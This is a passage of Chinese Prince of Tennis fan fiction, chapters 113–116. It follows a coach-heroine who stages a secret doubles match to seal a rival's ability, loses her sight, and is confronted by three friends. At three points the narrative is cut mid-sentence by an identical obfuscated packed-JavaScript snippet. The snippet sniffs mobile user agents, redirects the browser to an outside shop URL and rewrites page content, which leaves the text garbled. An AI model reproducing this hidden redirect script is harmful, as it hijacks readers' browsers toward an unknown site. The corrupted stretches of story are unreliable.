七海走进房间,一眼就扫完了全貌。他的房间很干净,不如说过分干净了,一尘不染,是现在就立刻退房也不需要打扫的干净程度。 床上,桌子上,几乎没有多少居住过的痕迹,只有床头的一只小黄鸡抱枕体现出了这个年龄应有的一丝玩心。仁王,她过去从没发现他居然是个喜欢可爱小动物的人。 是的,她并不了解他,过去与他的交集都与那几个人有关。 又或者说,谁能彻底了解他? “噗哩,二阶堂,你这算是非法入室吗?”仁王雅治关上门回身,双手插兜弓着身站在玄关边望向溜进屋的少女,嘴角噙着漫不经心的痞笑。 “我是神,我不遵守法律。”她毫不客气地怼了回去。只是,方才她脸上的愤怒与不耐随着时间的流逝很快转为凄凉与晦涩。 仁王雅治心下暗道不妙。 “仁王,解除你的伪装吧。”她闭了闭眼,声音带上了一抹苦涩。 “二阶堂,你在说......” 她不等他说完,便将真相赤裸裸地剖开,扔到了烈日下曝晒。 她紧紧盯着他湖绿色的双眸,轻声问道:“从合宿集训败者组回来之后,你就开始打算幻影平等院了,对吗?” 白发少年的身形一僵,整个人仿佛被无形的钉子钉在了原地。 “我一直还算放心你,就是因为以我的洞察力,并没看出你身体的问题。但是我错了......你可是立海大的欺诈师呐。”她垂眸自嘲着,“连自己都能骗过的人,不是吗?” 以她的洞察力,即使是陈年暗伤,只要对方表现出来哪怕极其些微的异常,她也能敏锐捕捉到。可是那次的伪双部对战一军选手的比赛之后,仁王的手肘伤分明已经在治疗下痊愈了。 她过去从来没过多思考,现在她才想起来,这个世界上有一个人是可以做到伪装得彻彻底底的。 这个世界上,有一个人,他的称号是欺诈师。 这个世界上,也只有那一个人,骗了她那么多次。 “你是从什么时候开始,只要我在场,就幻影成过去的自己的呢?”她轻抚过桌面,一步步向他逼近,最后几个字吐出的瞬间,湖绿色的瞳孔骤缩。 “景吾应当也是知情的吧,他的洞察力并不弱于我,那场伪双部之战结果如何,他必然清楚。柳生当然也是知情的了,还有谁呢?” 骗人者终被人骗,世间因果、万物轮回,她如今亲身体验了这个道理。 “现在想来,那天我问你要的承诺也好,后来短讯里的问题也罢,你都是在骗我啊......” 她想她最近已经哭了太多次了,眼泪早该干涸了,可此刻,她仍然再次哽咽了。 她的声音颤抖着: “仁王,如果希望别人对你坦率,那你自己敢不敢放下伪装一次呢?” 时间只淌过一瞬的功夫,似乎什么也没变,又似乎什么都变了。她现在终于看见了真正的他,手肘上的旧疾未好的他,伤痕累累的他。 她似乎从未如此贴近地窥见过他的真实面目,他看上去触手可及,却又在白日与暗影间隐现,湖绿的眼眸难得被窥探到一丝挣扎与沉默。 “所以你这样处心积虑地骗我,是因为你也知道的吧。”她凄凉地笑着,泪水浸湿了她两颊的碎发,凌乱地粘附在她的脸上。 “仁王,我也是会为你心痛的啊......” 114.第 114 章 又是一夜无眠。 第二日,日本队以三连胜的横扫之势十分干脆地将澳大利亚队击败。 第一局,真田幸村pair VS约翰库里斯pair。对于日本队的少年们而言,即使是完全客场的比赛也无所畏惧。 毕竟早在合宿集训时,他们就听倦了高中生的倒彩声以及他们那位天才教练的嘴上毫不留情的“死局宣判”,更何况是真田弦一郎和幸村精市这两个意志极其坚定的人。 而在早已知悉对场使用最强防守阵型的情况下,再一昧进攻已失去意义,最终,他们以防守之法诱敌深入,黑龙二重斩配合灭五感,6-4取得胜利。 第二局,不二迹部pair,仗着澳大利亚队不清楚日本队成员的队名,仁王与迹部商量出的碟中谍计划发挥了作用。 不二的超强进攻型网球配合迹部的冰之帝王,两人最终以6-3取得胜利,甚至没能用上持久战。 第三局,一只信天翁的意外受伤成为了比赛的最终画面,远山金太郎取得了最后一把胜利。“小金......日本队未来的希望也在你身上呐。”少女站在台边微笑着。 值得一提的是,最后一局的半场,那位隐藏在背后操纵棋局的军师终于出场了,是位相貌极其秀美的天蓝发色天蓝瞳色的少年。 “诺亚,诺亚方舟?又是因为负伤遗憾退场的人吗......”七海站在看台边,默默注视了一会儿那位双眼有疾的少年,再次低下头,看着手机屏幕上的三个名字—— 越前龙马,种岛修二,入江奏多。 这三个人的精神力都足够强,能够负担她和平等院的双打。实际上,西班牙队大概每个人都能当她的双打对手,但是,日本队的计划决不能被西班牙队知晓。 总之,先找小不点问问。她相信他不会泄露她和平等院的事,越前兄弟打双打,听起来还挺有趣的,越前龙雅应该会挺乐意组,小不点倒不一定。 种岛的话,她担心越前龙雅对他做什么事......毕竟上次的远征种岛没有参与,恰巧又是那次远征捡到的越前龙雅。 “竹小队,撤退!”三船入道催促着众人坐班车回选手村,明天是与瑞士的一战,虽然被七海那孩子宣判了死刑,但是赛前该做的准备工作还得做。 “七海,愣在那里干什么!” 七海转过头,抱歉道:“三船教练,我要先去找个人,不好意思,我马上就过来!” 随即,远山金太郎也大喊着他有地方要去一溜烟地跑了。 “七海,去把他抓回来!”三船入道大吼一声吩咐。 少女黑线。“嗨,知道了。”她想她和他要去的大概是同个地方,“小金,等一下我!” 少年们无言地望着两道身影跑远了。 “七海要去找谁呢?”不二周助托着下巴疑惑道。 乾贞治:“根据现有数据,找手冢的可能性是88.9%,找其他第一梯队成员的可能性是11.1%。” “也就是说是去找手冢了呐。”不二周助笑眯眯总结道,完全无视了身边的迹部和幸村两人听到这句话后微变的表情。 “但是,二阶堂最近的行踪十分飘忽不定,因此答案不在这二者之间的可能性也依然存在。”柳莲二拐了个弯。 三津谷补充:“最近每天晚上,她都会出门。” 乾贞治扶了扶眼镜:“连表演赛前夜她都说有事出去了,到底是去哪里了呢......”一句话没说完,似乎留下了无限的遐想空间。 菊丸英二举手提议:“要不我们今晚就偷偷跟踪一下二阶堂喵!” 河村隆挠了挠头,有点犹豫:“这样会不会不太好啊......” 迹部景吾想起那天她被越前龙雅抱在怀里面色苍白的模样,皱了皱眉。 那天她只说自己是和越前龙雅打比赛脱力了,但是,再回忆起在校车上提到越前龙雅此人时她如临大敌的姿态...... 迹部景吾和幸村精市两人完美体现了信息差的坏处,但凡这两人稍微沟通一下将各自拥有的信息进行互补,便会意识到她到底在做什么。 “菊丸的建议有几分道理,今晚就去看看二阶堂到底神神秘秘地在干什么,啊恩?”少年点了点眼下的泪痣。 “呵呵......”乾贞治诡笑起来。 幸村精市没有发表看法,他瞥了仁王雅治一眼。昨晚,他在隔壁听到了她敲仁王门的动静,今天又见他难得一直沉默地站在场边观赛,似乎发生了什么事。 ----------------------- 抵达美国与丹麦的小组赛赛场时,比赛已经结束,美国队的少年们背上背包正预备离场。 “漂亮姐姐,你来找谁?”远山金太郎边跑边问。 “我要找的人,和你一样!”七海边跑边喊,小金跑得也太快了,她快追不上了啊! “越前!!大家叫我给你留口信!”少年停在了入口。 “真田小哥说了黑龙那个什么来着......” “真田说,等你来挑战他的黑龙二重斩。”七海认命地站在边上担任起了翻译官。 “迹部国王说了不知道是什么美技还是布吉......” “迹部说让你沉醉在他的美技之下。” “神之子说什么是个好孩子,睡觉什么的......” “幸村说你是个好孩子,让你注意睡眠质量,好好睡觉。” “还有,我会成为世界第一的职业选手!”小金终于把自己的口信大喊出来。 “Fine,everybody bring it on.”越前龙马勾起唇角,潇洒转身再次准备离去—— “越前,留步!”七海再次大喊了一声。“等一下,我马上跑过来!小金,你如果等不及可以先回巴士上。” “漂亮姐姐,我在这里等你!” “好。”七海捂着因为跑得太快有点揪痛的肚子,往出口快步跑去。 “越前!” 越前龙马微愣:“二阶堂学姐,有什么事吗?” “你不是一直想和平等院打比赛吗,现在,有一个机会。如果你愿意来,今晚八点来选手村的2号公共网球场,我想请你帮我个忙。”七海扶着墙上气不接下气道。 少年的猫瞳中浮现出一丝讶异,“我知道了,二阶堂学姐。” ------------------------- 日本队连赢两场比赛,即使明日败给瑞士队也已出线十六强,可稍稍放松一点。巴士上,三船入道主张大家商议完瑞士队出战搭配后一起去吃顿晚饭。 于是商议完毕后,初高中正选代表们浩浩荡荡地来到了选手村商业中心的自助主餐厅就餐。 到达餐厅时便发现,似乎有这样想法的不止日本队一支队伍,又或者是单纯的巧合,总之,美国队,法国队这两支同样取得二连胜的强队均已聚集在主餐厅里。 “早知道会在餐厅碰上越前,前面就不特意跑去找他了。”七海看到坐在餐厅一角穿着美国队制服的少年们下意识吐槽。 “七海,原来之前是去找越前君了?哪个越前呢?”幸村精市拿着托盘站在她边上关切道。 “小不点啦,找他有点事。”她正在与锅里的烤鱼块奋战,夹子好滑根本夹不起来啊可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149976|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶! “什么事情方便说吗?”幸村精市极其自然地接过她手中的夹子帮她夹了一块鱼到盘子里,又夹了一块到自己盘子里。 七海干脆道:“和他打比赛。”这也不算说谎吧。 “怎么突然想到和越前君打比赛呢?” “那个是因为......”她突然卡壳了,她还没想好该编造什么样的理由去......骗他。幸运的是,救星出现了。 “七海,好久不见了呢。”是加缪,他只身一人走过来与她搭话。 “哟,加缪!最近都没怎么在选手村看到你,听说法国队二连胜了,虽然毫不意外不过还是恭喜呀。”七海笑眯眯道,还好她现在两手拿着托盘,否则她毫不怀疑他又要来吻手礼。 “日本队也取得了两连胜,今年的攻势很迅猛。七海,待会儿要不要来和我们一起坐呢,我的妻子,也就是你的丈夫和多隆都很想念你。” 加缪的眼神炽热而专注,眸光如星辰般闪耀着迷人的光芒,看得七海一愣一愣。 顺便一提,多隆就是那位热爱日本文化,总是一身忍者打扮的少年。 七海抽了抽嘴角:“抱歉加缪,我今天另有其他事要做就先不和你们叙旧了。” 取餐区对侧的丸井文太餐盘里的蛋糕摞成了一座小山,他抬头好奇:“七海,你还没有到合法结婚年龄呢,怎么就有丈夫了?” “诶!!公主殿下的丈夫?!”切原赤也把头凑过来,数据组的几人微变的表情别以为她没看到啊喂! 幸村精市只微笑着看着她等她的解释。少女再次叹气扶额,怪她当时在巴士上没有把去法国踢馆时发生的事说清楚。 “嗯......这位是法国队队长加缪,他指的是他的球拍,不是真人,简而言之,我没有丈夫啦!” “Mon amour,七海说她不要你了......”加缪抱着不知何时拿出来的球拍苦涩地抚摸着,眼角似有泪水垂落,一人一球拍之间构成了一个独立的哀伤空间,他完全不在乎旁边见此一幕的人惊掉下巴的模样。 七海已经习惯了加缪同学时不时的戏剧性演绎,她放缓了语速,耐心劝慰: “加缪,只要一直在打网球,我们就是一心一体的,所以即使天各一方也能感受彼此之间对网球的爱啊,不是吗?” 周助,感谢你在合宿时的那番发言,真的很好用。 加缪似乎被这一番真诚的发言触动到了,收起了有些浮夸的失恋架势,认真道:“七海,你不愧是我看中的人,我明白了。世界杯结束后,我们等你来法国。” 不,你看中的人是不二周助。 “好呀。上次来法国,景......”照顾生病的迹部景吾这事还是不要在这时说出来比较好,“上次来法国,还没来得及好好逛逛呢,下次就麻烦你们给我当向导了。” 加缪的目光深情款款:“是我的荣幸。” “加缪,你怎么过来了。”迹部景吾闻讯也走到这边来不客气道。 加缪拍了拍少年的肩膀:“景吾,上次你发烧我还帮着七海送你回酒店呢,不要这么无情。” 迹部景吾脸瞬间变臭,把肩膀上的手扒拉了下去:“上次的账本大爷还没有和你算。” “那时我只是实话实说。”加缪完全没有因为对方的动作而动怒。 “七海,迹部还和你去了法国吗?”幸村精市听了这几句话立刻推测出了真相。 “嗯......”她缓缓应了声。 法国,那是一个他十分感兴趣的国度,她和迹部去了。 他想去的瑞士苏黎世,她和手冢去了。 原是如此。 115.第 115 章 “也就是说。”乾贞治突然出现在画面的一角,激动地翻开了不知道从哪里掏出来的笔记本,扶了扶眼镜,煞有介事道:“手冢是德国,幸村是美国,迹部是德国和法国。” 数据部分有误,不过......七海看着听到这句话后其他人的反应,有误无误也不重要了。 种岛修二不知何时也凑了过来:“二阶堂,你真的很厉害哦☆” 这真的是夸奖吗! 被这番对话一打岔,幸村精市似乎忘了问她和越前龙马打比赛的事,七海松了口气。 婉拒了和初中生们坐一起的邀请,她托着餐盘自顾自地找到了平等院凤凰在的餐桌,施施然坐到了他边上,和他谈起了昨夜的提议。 “你看这样不是挺好的。小不点想打败你,你想打败我和博格,越前君又是个混乱邪恶的立场,他估计会觉得很有趣,总之这样的双打比赛人人都能受益。”七海笑眯眯地分析道。 “越前龙雅?你找了他?”平等院倏地一惊。 七海看出了平等院心中的疑惑:“他的吞噬能力可以被我封印,所以不用担心双打比赛出问题。” 过了好一会儿,平等院凤凰冷着脸又问:“那你呢。” 七海反应了两秒才明白他问的是前一句话,“你打赢博格,日本队取胜就是我的受益呀。” “嗤......随便你。” “那晚上八点,公共网球场2号球场见。”她直接无视了他的不爽,平等院也不过是个刀子嘴豆腐心的少年罢了,她看得很清楚。也正是因此,她才不希望他的职业网球之路以性命为代价中断。 过去,她眼中只看得到自己的女网部和那两个人,然而不知不觉间,她在乎的人变得越来越多。 他们早已没有了主角与配角之分,每一个少年都鲜活地真实地存在于这个世界,她只想尽她可能保全所有人。 后果,结局,宿命,她不再去想那些迷雾中虚无缥缈的未知之事了。她只知道此刻的她若是明知可为而不为,那么她以后一定会因为这一刻的退缩软弱而后悔遗憾。 坐在位置上再偷偷给越前龙雅发去短讯后,晚上八点,四人准时在网球场相聚。 七海和越前龙雅约的时间早一小时,他的吞噬技能已被她锁住,接下来的比赛还需要解封绝对主宰,她便干脆没有封印。 此刻,少女笑得十分愉悦,越前龙雅抛着橙子也乐呵着,只有平等院凤凰臭着脸,而事先没有被告知是要和自家哥哥组双打的越前龙马—— “二阶堂学姐,这是怎么回事?”越前龙马的嘴巴一直张着。 “打双打又怎么不能算打呢?”她笑着诡辩道,双眸闪烁着狡黠的光芒。“而且,越前,你应该也想和我比赛吧。” “小~不~点~你该不会害怕了吧?”越前龙雅在一边煽风点火,顺便把手上的橙子连皮几口啃完,看得七海目瞪口呆,橙子皮不会苦涩吗。 “切。不过,二阶堂学姐的网球,我早就想领教一番了。”越前龙马勾了勾唇,拽脸回道。 “So, it’s a win-win.”七海边说着边拿起场边的球拍戳了戳平等院的胳膊示意他上场,自己则慢悠悠地走到了赛场上,她这段时间疯狂看双打录像,希望能有用。 “来吧!” 与此同时,不远处的数据组乾柳两人躲在阴暗角落聚精会神地紧盯着赛场上的一切,而在室外公共网球场后方的室内网球场四楼,日本队代表全员都站在窗边—— 本来只有竹小队的初中生们和后援团几人打算跟踪窥探一下他们天才教练的秘密,这群人的异动却被种岛修二看得一清二楚,于是松小队也跟来了。 梅小队则是因为Duke发现老大今夜难得另有行程,便也打算跟过来看看,这一切又没能瞒过入江奏多和大曲龙次。 最后的局面便成了几乎无一人缺席。 “公主殿下和平等院桑组双打?!好羡慕......君岛大人,你是不是帮公主大人交涉过了!”切原赤也扒着落地窗,脸快要贴在窗玻璃上,他十分渴望和平等院凤凰组双打,和公主殿下组双打也不错啊! “这可和我没关系。”君岛育斗浅笑着。 “真是让人意外的搭配,啊恩?”迹部景吾双手插兜,俯视着下方的四人。 真田弦一郎肃声道:“啊。没想到,二阶堂居然会和平等院组双打,对手居然是这两个人。” 一军的远征军们心中的震骇并不比初中生少,他们知道越前龙雅的能力,和他认真的打比赛,后果......然而平等院明明也清楚,却没有拒绝比赛,罢了,先看看到底是怎么回事吧。 大曲龙次等人默不作声地盯着下方的赛场。 不二周助的蓝眸锐利,他很清楚,七海过去从不与人打双打,这次比赛很显然是她组的局,七海她到底想做什么? 种岛修二想起了另一件事:“但是,表演赛那天晚上老大留在休息室呐,那天晚上二阶堂又是去干嘛了呢。” 没等众人搞清楚——“比赛,开始了。”德川和也平静道。 赛场上,七海强行调动精神力与平等院凤凰实现了能力共鸣,金发少年的瞳孔在与她共鸣的那一瞬骤然缩起。 这就是足以掌控世界的能量,一切尽在掌心的感觉吗,果然与他所选择的道路大相径庭,甚至于过分美妙,简直令人上瘾。 平等院凤凰用余光瞟了身后的少女一眼,心情有些复杂。恐怕大多数选手一旦体验过这样的感受,根本舍不得将其封印。 她本可以不管顾这群人,如此也不会被惩罚......果然和德川还有鬼那群家伙一样是个十足的蠢货。 “平等院,好好感受吧。”后方她的声音不知何时变得淡漠。 “呵,不用你说老子也知道。”他不会浪费这个机会。 在接下来的两个多小时里,场上的比赛完全可以用精彩纷呈,激烈之至来形容。 越前龙马开场便是一个特殊的发光球直击向平等院,被他成功回击。而后,越前龙雅也使出了发光球,她没有选择化解,任由那个球砸到了后墙。 前半场,越前龙马身后武士南次郎的虚影,与平等院凤凰从世界各地习得的绝技虚影打得有来有往。 紧接着,七海毫不犹豫地使出了精神攻击类技能神降,在几局消沉萎靡后,越前龙雅很快从这一状态中挣脱出来,一时间,场上呈现出二打一的局面。 复又几局后,越前龙马也成功在哥哥的庇护与呼唤下恢复意识,下一瞬,他开启了天衣无缝之极限。 “越前,天衣无缝之极限,可不是只有你会哦。”七海笑眯眯回道,身周也跟着爆发出绿色的光点,越前龙马愣了愣,帽檐下的笑容愈发张扬。 “不愧是二阶堂学姐。” 站在高处的切原赤也呆立在窗边。 一直以来,他都以为他的公主殿下和他一样不会天衣无缝之极限——毕竟她几次施展天衣无缝之极限都不是在众人面前,而是在与德川和也私下比赛时,以及与手冢国光私下比赛时。 幸村部长也不会天衣无缝之极限,可他还是赢了比赛。他以为自己对天衣无缝之极限并没有多少执念。 今天,他才知道原来公主殿下也是会天衣无缝之极限的。而且......他一直都知道,他的公主殿下,强得可怕。 少年的眼中闪过一丝不甘与狰狞,可恶!为什么他就无法领悟天衣无缝之极限!就算他知道有很多人并未领悟网球实力也不俗,可是能够领悟天衣无缝之极限的人,他一个都打不过。可恶!为什么他不能?! 下方的比赛继续着,只是结局已清晰可见——失去了吞噬能力的越前龙雅相当于自断一臂,而对场又是毫不弱于越前兄弟两人的阿修罗道与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161577|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神道的组合,被神降拉开的比分再也追不上了。 “七海......”白石藏之介有几分怔愣,他知道那晚那场比赛她必定没有使出全力,却没想到她的实力如此可怕,甚至可以充满压迫感。 一个那样温柔地展示着翻花绳的少女,在今夜的球场上爆发出了截然不同的气场。 解封绝对主宰下的七海丝毫不知疲倦,场上并无裁判员,四人都只在心中默默地记着比分,目前大约到了第二盘终局。 “到此为止吧。”到了平等院凤凰的发球局,他站着没动,突兀地沉声道。 七海闻言双眼一亮,直起身快步走到他边上,压低声音:“难道你已经触摸到了?”第九识的门槛。 “这件事回去再说。”平等院一副不欲多言的样子。 七海撇撇嘴:“好吧......小不点,越前君,今天就先打到这里,你们觉得如何?” “我无所谓。”越前龙马压了压帽檐。他的迷惘通过两盘比赛已经散去了许多。果然只要是与强者的比赛,无论对手是谁他一样会感到兴奋,在哪已经不重要了,他想做的不过是打败赛场对面的人。 打败平等院......他想要打败的人又何止于他。 越前龙雅拍了拍自家弟弟的肩膀,“我跟着小不点走。” “好,那就先到这里。”七海微笑着点了点头。 她打得有些尽兴了,差点忘了解封状态下她是不知疲倦的,恐怕等封印回去时,她就半死不活了。 她在第一盘中间就注意到了楼上以及不远处鬼鬼祟祟的围观者,待会儿等大家都走了,找个没人的赛场偷偷封印吧。 比赛结束,平等院凤凰黑着脸转向身后高处怒吼:“你们这些蠢货,全部给我下来!草丛后面那两个也是!” 楼上楼下的大石秀一郎、切原赤也、乾贞治等人立时冒出冷汗往后退了几步。 “噗哩,看来早就暴露了呢。” 平等院又是一通训斥,七海直言自己还有其他事不和大家一起回去,强硬拒绝了那两个人的陪同,目送着少年们带着探究的目光渐行渐远。 她本也可以回到房间里封印,只是,某天在高中生群里,她看到袴田吐槽远野笃京晚上说梦话,总喊着要处刑谁......墙壁的隔音堪忧的样子。 ...... 夜幕低垂,不甚柔和的白炽灯光洒落在选手村的室外网球场上。手冢国光穿着德国队的黑红色代表制服,正在球场之间的道路上夜跑,鞋踩在沙砾路面上发出轻微的沙沙声。 “啊嘶......”隔着围网与挡板,他忽地听见了一声痛呼,音色听起来......他加快步伐跑到了入口。 “七海!” 七海想给这个世界一个耳刮子。她找了一处周围都没有人的网球场缩在角落里闭上眼,打算等惩罚过去再回到房间,然而封印的那一刻疼痛并没有如她所预料的袭来。 她睁开眼,世界一片漆黑。 不是上次的朦胧色块,甚至连光感也无,她彻底看不见了。 在一阵慌乱后,她安慰自己过一段时间就会好,便勉力起身打算循着记忆中的位置走到球场门口,打电话找周助接她回去。 祸不单行,她的腿发软,还没走几步便撞到了球网的杆子,痛得她瘫坐在了地上,不住地揉着大腿上被撞到的骨头肉,现在还碰上了他。 “七海,怎么一个人在这里?撞疼了吗?” 视觉的消失加深了其他感官的敏锐度。 她听到他沉静温厚的声音在头顶响起,接着是布料摩擦的声音,面前的空气中弥漫起一股若有似无的体温朝自己席卷而来,他的呼吸声慢慢地变得极其清晰......他似乎蹲下了身。 她很熟悉他的气息,左手仍抚在腿上,七海抬起头,对着黑暗轻声回应: “国光。” 116.第 116 章 “好吧,我暂时看不见了。” 在试图靠自己站起身却又再次被自己的脚绊到,跌跌撞撞撞到了围网之后,七海扶着围网上的格子决定破罐子破摔。她的狼狈他见过太多次,再来一次似乎也没什么大不了的。 “发生了什么事。”手冢国光冷峻的声音沉了沉。 他的手轻抚上她的脸,七海下意识地向后缩了缩,咬住了唇。 她想他现在应该在观察她的瞳孔,只是看着她的眼睛为什么要抚上她的脸颊呢,他的手温暖干燥,指腹带着一层薄茧,触碰到她脸颊的时候又暖又痒。 她的心下没由来的涌起一阵烦躁,“我以为你应该能猜到我为什么会莫名其妙瞎掉。” 话刚说完她就后悔了,这么夹枪带棒地做什么。 七海皱起眉,最近,她的情绪波动得越来越厉害了,失去视觉大概又加剧了她的不安。 她忍不住想象自己是站在黑暗中张口血盆大口的怪物面前,惶恐不知道什么时候会被这片黑暗吞噬入腹。 她的话音刚落,抚上她脸颊的手便僵硬了一瞬,随即收了回来。皮肤上残留的温度逐渐消散,她有些自嘲地想,果然她那样说他还是会介怀。 然而,她又被抱住了。她彻底被他温热的气息和衣衫上淡淡的洗衣粉香气包裹,他的心跳有力地平缓地撞击着胸膛,传递向她的胸口。 “七海,别怕。”他在安慰她。 两股截然不同的情绪在脑海里打架,她想她该为他毫无芥蒂的温暖感动的。可另一股冷意不断刺激着神经,仿佛要将那份温暖撕碎、湮灭,她的太阳穴越发刺痛起来,不妙...... 七海抬起被他的拥抱拢住的手,轻拍了两下他的后腰。 “国光,先放开我。” 他依言松开了她。 “我大概过一段时间就会好,能麻烦你送我回去吗。”她对着黑暗勉强笑了笑。 手冢国光蹙着眉沉默了良久,还是选择了应承下来。“啊。” 她看不到他的表情,只是背后和膝下贴过来两条有力的臂膀,接着身体突然悬空了。 她的头靠着他的胸膛,呼气喷洒在她的脖颈和锁骨上,这似乎是她第一次在清醒的状态下被他公主抱...... “别......国光,你牵着我的手吧。” “......好。”手冢国光轻放下了她,她的右手被他牵起,少年的手掌宽大有力,骨节分明,直接将她的手完全包裹住。 “七海,跟紧我。” --------------------------- 在黑暗中被裹住手的温暖牵引着,不知不觉间,已走到了房门口。 时针走过11点。 “七海,你看不见,我不放心你一个人待在房间里。”手冢国光一路走过来皱在一起的眉头未曾松开过,她的状态很差,深紫色的双瞳空洞而无神,脸上写满了疲惫,他无法不担心她。 “我会找一个部员来陪我的,你快回去休息吧。”她坐在床边笑了笑。 青学女网部的少女们作为非官方应援团没有资格入住选手村,她们被迹部景吾安置在了赛场周边的酒店里,她这么说只想找个借口把他支走。 手冢国光扶了扶眼镜:“我等你的部员过来。” “......不用,已经很迟了,我在房间里等就好了。” “七海,你告诉我,真的会有人来吗?” “那你要我怎么办呢,国光。”她轻叹了一口气,语气苦涩。 一个女生和一群男性朝夕相处,总有诸多不便,也不怪乎她被那样揣测......实际上,选手村里除了公共设施里的女性工作人员,大部分时候走在路上看到的都是男选手。 32个国家,仅有四所国家有女教练,另三位还是中年女性,更别提她还曾被给了镜头特写,她的面貌总能被一眼认出。 好奇的,探究的,恶意的,无意的......这几天类似的视线从没消失过,如鲠在喉,如芒在背。现在丧失视觉倒也不是全无好处,至少她再也感受不到类似的窥探了。 “......”手冢国光也陷入了沉默。她了然地勾了勾唇,果然他也没有办法呐。 “你回去吧,我会照顾好我自己的。”她下了逐客令。 少年一言不发,只是站在她面前不动。他想不到好的办法,但他绝无可能留她一个人在房间里。 手机铃声突然响起打破了寂静,七海掏出手机循着肌肉记忆轻点了一下,接起电话。 “摩西摩西......精市,嗯,我已经回来了。”电话被那头快速挂断,随即,敲门声响起。 七海扶着床沿的手下意识揪住了床单,她要被发现了......是她想得太简单了,选手村就这么大,她的意图与行动,瞒得了一时,瞒不了一世。 被施加痛楚的惩罚倒也罢,感官的丧失是无法掩饰的。 “国光,麻烦你帮我开个门吧。”该面对的总得面对。 “啊。”手冢国光走到门口,打开门,门外毫无意外地站着那两个人。 “手冢?你......”迹部景吾刚准备刺几句,余光瞥见坐在床上瞳孔完全失去焦点的少女,他倏地一惊,大踏步走了过去。 “二阶堂,你的眼睛怎么了?!” “七海!” 七海苦中作乐暗自吐槽着,好,现在又变成了熟悉的三堂会审,被审问的人还是个瞎子。 两道熟悉的气息逐渐靠近,左边是淡淡的玫瑰香,是她送给他的伴手礼香水的味道,是他;右边是草木香,是他。 “手冢,到底是怎么回事?”幸村精市的声音染上愤怒,早知道比赛结束后他就不该让她一个人走。 手冢国光没意料到被诘问的人是他,顿了顿,“我在网球场......” 七海不想他被为难,干脆地打断了他的话:“精市,和国光没关系。” “是我因为一些事解封了绝对主宰。”她嗫嚅着,越发用力地揪着床单,眼前的漆黑似乎也愈发幽暗。 “上次你和越前龙雅那家伙在一起脸色难看成那样,看来也不是因为脱力,呵。”迹部景吾冷笑了一声,他生病时还说不会再骗他,这个小骗子。 “越前君......”幸村精市愕然,“七海,你这些天晚上都是去找他?”他太清楚她找他是为了干什么。 手冢国光成了一无所知的局外人,他蹙着眉:“幸村,你们在说什么。” “越前龙雅,那个少年的网球能够吞噬他人的网球,让对方完全丧失打网球的能力。上次在美国时,七海就想尝试封印他的吞噬能力。” 幸村精市的语气太平静了,只有紧握泛白的指节透露出平静之下暗藏的无尽风暴,然而她看不见。 另两人听到这一真相,面色不约而同地冷了下去。 “七海,你想在世界杯封印他的吞噬能力。”手冢国光语气冷肃。 “嗯,我的精神力可以困住他的技能,这样他就不会......”她对这三人此刻的表情一无所知,仍对着黑暗解释着。 “七海,你什么时候能考虑一下自己呢?”幸村精市疾言厉色地打断了她的话。 迹部景吾咬牙:“本大爷一次次选择相信你说的话,又被你一次次骗,二阶堂,我对你很失望。”他就该把这个骗子绑在身边,每天盯着她。 “我......可是我......”七海咬着唇,一句完整的话也说不出来。她想替自己辩驳,可结果呢,他们知道了她的计划,还会再允许她实施下去吗? 她很清楚答案是否定的。 “我也不想的啊......我也想当个普通人......”了无生气的紫瞳中泛起泪光,她的声音轻颤着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161578|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的脑海中浮现出了太多令她心碎苦闷的画面,她猛地抬头,对着黑暗质问。 “国光,如果你手肘的伤好不了,再也打不了网球你会怎么想呢?精市,如果你的病没有治好,你又会是什么感觉呢?景吾,如果你没得选择,只能从商放弃网球呢?” 疾风骤雨般的三连问令屋内的三人坠入失声之地,空气变得沉闷而凝滞。 “我只是,我只是不希望再有人和上辈子的我一样,被迫放弃自己热爱的东西啊......” 在合宿营地的月色下说要放弃网球的大和部长; 万幸走了好运才死而复生的平等院和他背上的可怖伤疤; 因为使用他的零式削球而伤痕累累的仁王和手肘红肿的遥; 吐血倒地说着无法弃未来有望之人不顾的德川; 在复健室艰难行走,在担架上气息微弱的远野; 负担着陈年旧伤坚持训练的兰比尔; 抱着手肘跪在地上的他,靠着墙跪坐在医师办公室门外的他,说着家族和网球都不会放弃的他...... 曾经有一天,她生气地边哭边痛骂了周助一顿,其他人费劲全力想要相伴的东西,他居然只因为打不赢挚友而考虑放弃。 到最后,反而成了他抱着她一句句地安慰她,说自己不会再放弃了。 那么她呢,她会愿意放弃吗? 她只是想要悲剧不再发生,她有什么错! “对我来说,你们都是真实存在,有血有肉的人呐......” 真相是假,真相是真,都不重要了。 她也觉得荒谬,为了打比赛以性命为赌注,为了证明仁义死也要得第一,一个人近十年的努力可以因为一个技能就重归起点。 